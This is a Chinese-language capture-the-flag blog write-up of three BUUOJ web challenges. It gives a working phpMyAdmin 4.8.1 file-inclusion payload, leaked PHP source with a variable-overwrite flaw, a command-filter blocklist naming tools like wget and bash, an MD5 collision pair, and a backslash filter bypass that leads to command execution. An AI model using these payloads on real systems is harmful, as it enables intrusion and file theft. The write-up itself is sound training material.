做做buuoj上的web题,本萌新纯采集,轻喷(((
没想到这个连续剧居然做到第三集了(?
[GWCTF 2019] 我有一个数据库
打开靶机,一眼乱码…
使用charset改编码:
好,那就用dirsearch开找,由于万恶的反爬,还是只能用低线程:
1
| python.exe .\dirsearch.py -u http://59a09390-210c-48e3-a698-1e6e1dd52325.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429
|
跑出了phpmyadmin和robots.txt
访问robots.txt
发现提示是phpinfo.php
所以直接选择看/phpmyadmin/
发现是phpmyadmin 4.8.1的版本
然后就上万能的CSDN…
发现有本地包含漏洞
直接拿漏洞打就完事了:
payload:
1
| ?target=sql.php%253f../../../../../../../../../../flag
|
[BJDCTF2020] Mark loves cat
变量覆盖题。
进入靶机,就是一个贼酷炫的前端页面(
然后啥也点不了
这个时候就要考虑是不是有dirsearch可以扫出来的东西了
使用dirsearch 能够扫描出/.git/
使用githack下载源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php
include 'flag.php';
$yds = "dog"; $is = "cat"; $handsome = 'yds';
foreach($_POST as $x => $y){ $$x = $y; }
foreach($_GET as $x => $y){ $$x = $$y; }
foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ exit($handsome); } }
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); }
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is); }
echo "the flag is: ".$flag;
|
所以思路很清晰,只需要将上面那三个变量选一个覆盖成$flag,然后再满足你所选择变量的exit条件即可
(虽然但是我到现在都不知道handsome要怎么做,怎么让flag=一个变量,这个变量又不能等于flag啊)
方法一:
如果选择yds:
首先将yds覆盖成flag:
然后…
如果GET传入flag和POST传入的flag都是空的话,就exit了
所以直接结束
方法二:
如果选择is:
还是先将is覆盖成flag:
看条件,如果get或者post传入flag的值为flag时,exit
所以后面传入flag=flag即可
[安洵杯 2019] easy_web
打开一看,也是啥都没有。。。
不过首页那个img=比较奇怪,看起来像base64加密
把他拖入CyberChef,发现其经过了1次Hex加密和2次base64加密
最初的结果是555.png
大抵就是那张图片?
利用这个原理,我们将555.png改为index.php,然后进行同样的加密,尝试获取源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img'])));//img解密
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">'; die("xixi~ no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>"; echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {//post的值a不能等于b,但是a的md5与b的md5值要强相等 echo `$cmd`;//echo + 反引号 相当于命令执行 } else { echo ("md5 is funny ~"); } }
?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC; } </style> <body> </body> </html>
|
这里最大的问题就是如何使得一个字符串a的值不等于b,md5的值又要强相等(如果是两个等号,可以使用0e开头的md5)
使用 fastcoll 快速MD5碰撞生成器:
可以构建两个md5值一样,但是内容完全不一样的字符串
使用方法如下:
- 创建一个文本文件,写入内容,命名
- cmd运行:
- fastcoll_v1.0.0.5.exe -p init.txt -o 1.txt 2.txt(其中init是你创建的文本文件,1.txt和2.txt是生成的两个文本的txt文件)
然后需要进行一步url编码才能够正常使用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php function readmyfile($path){ $fh = fopen($path, "rb"); $data = fread($fh, filesize($path)); fclose($fh); return $data; } $a = urlencode(readmyfile("1.txt")); $b = urlencode(readmyfile("2.txt")); if(md5((string)urldecode($a))===md5((string)urldecode($b))){ echo $a; echo "\n"; } if(urldecode($a)!=urldecode($b)){ echo $b; } ?>
|
result:
1 2
| a=qwq%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00I%EC%91%C5Q%87a%CAzE%92%5D%D4%FF%EB%B1%C8%BE%F7EZq%ADJEb%82u%95%80%8B%FF%0C%F3%B8%D8P%8Eb%E7%0B%C8O%199%12%7Df%5El%ADE%BF%CB%95Z%C4%60%84%3A%8E%8F%85%18%C2%D0%9D%D7Z%28%90%E3%3DP%B6%D8%9B%89%A0%CEq%05%CDa%06%90%83%8Bv%EF%DF%CBOQ%A3%C1%AA%10%AD-%96%89z%D6%AB%93%E7X%D2%02%DE%3E%B4%F9%87%CF%B6%C4%D2-%2B%10%D5%F5%11%049%3D b=qwq%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00I%EC%91%C5Q%87a%CAzE%92%5D%D4%FF%EB%B1%C8%BE%F7%C5Zq%ADJEb%82u%95%80%8B%FF%0C%F3%B8%D8P%8Eb%E7%0B%C8O%199%92%7Df%5El%ADE%BF%CB%95Z%C4%60%84%BA%8E%8F%85%18%C2%D0%9D%D7Z%28%90%E3%3DP%B6%D8%9B%89%A0%CEq%05%CD%E1%06%90%83%8Bv%EF%DF%CBOQ%A3%C1%AA%10%AD-%96%89z%D6%AB%93%E7X%D2%82%DD%3E%B4%F9%87%CF%B6%C4%D2-%2B%10%D5u%11%049%3D
|
由于字符串比较长,所以使用burp进行Post传参:对于过滤,使用反斜杠绕过,空格使用%20进行url编码(burp里面打那个空格直接bad request了):
找到flag
直接cat /flag